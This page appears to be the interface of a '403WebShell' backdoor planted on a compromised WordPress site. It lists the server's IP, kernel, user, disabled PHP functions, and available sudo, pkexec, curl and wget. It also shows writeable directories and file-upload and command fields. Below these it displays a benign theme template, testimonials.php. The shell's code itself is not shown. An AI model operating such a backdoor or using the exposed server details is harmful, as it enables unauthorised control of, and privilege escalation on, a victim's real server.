Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/cosmicindrani.com/wp-content/themes/indrani/template-parts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/cosmicindrani.com/wp-content/themes/indrani/template-parts/testimonials.php
<section class="testimonialsSec maxwidth1150 mypy100">
    <div class="container">
        <div class="commonTitle">
            <h2><?php echo get_field( 'what_my_clients_says_title', $post_id ); ?></h2>
            <img src="<?php echo get_field( 'what_my_clients_says_title_divider', $post_id ); ?>" alt="" class="divider">
            <p><?php echo get_field( 'what_my_clients_says_sub_title', $post_id ); ?></p>
        </div>
        <?php
			$testimonial = get_posts(array(
				'post_type' => 'testimonial',
				'post_status' => 'publish',
				'orderby' => 'date',
				'order' => 'ASC',
				'posts_per_page' => 5,
                'tax_query' => array(
                    array(
                        'taxonomy' => 'testimonial-slider',
                        'field' => 'slug',
                        'terms' => 'others-slider', 
                    ),
                ),
			));

		if (!empty($testimonial)) : // Only display the slider section if there are posts
		?>
        <div class="row mt-5 pt-5">
            <div class="col-lg-5 col-md-6 teamsSec">
                <?php
                $i = 0;
				foreach ($testimonial as $testimonialListVal) {
					$featuredImage = get_the_post_thumbnail_url($testimonialListVal->ID, 'full');
				?>
                    <div class="team-member" data-name="<?php echo get_the_title($testimonialListVal->ID); ?>" data-title="<?php echo get_field("domain", $testimonialListVal->ID); ?>" data-text="<?php echo get_the_content(null, false, $testimonialListVal->ID); ?>">
                        <img src="<?php echo esc_url($featuredImage); ?>" alt="Member 1" class="rounded-circle img-thumbnail <?php echo $i === 0 ? 'active' : ''; ?>">
                    </div>
                <?php $i++; } ?>	
            </div>
            <div class="col-lg-7 col-md-6 teamContentSec">
                <div class="content p-4 text-white">
                <?php
                    $testimonial = get_posts(array(
                        'post_type' => 'testimonial',
                        'post_status' => 'publish',
                        'orderby' => 'date',
                        'order' => 'ASC',
                        'posts_per_page' => 1,
                        'tax_query' => array(
                            array(
                                'taxonomy' => 'testimonial-slider',
                                'field' => 'slug',
                                'terms' => 'others-slider', 
                            ),
                        ),
                    ));

                if (!empty($testimonial)) : // Only display the slider section if there are posts
                ?>
                   <?php
                    foreach ($testimonial as $testimonialListVal) {
                    ?>
                    <div>
                        <p class="mb-0" id="team-text">
                            <?php echo get_the_content(null, false, $testimonialListVal->ID); ?>
                        </p>
                        <h5 class="mt-3" id="team-name"><?php echo get_the_title($testimonialListVal->ID); ?> - <span id="team-title"><?php echo get_field("domain", $testimonialListVal->ID); ?></span></h5>
                    </div>
                    <?php } ?>	
                <?php endif; ?>
                </div>
            </div>
        </div>
        <?php endif; ?>
    </div>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit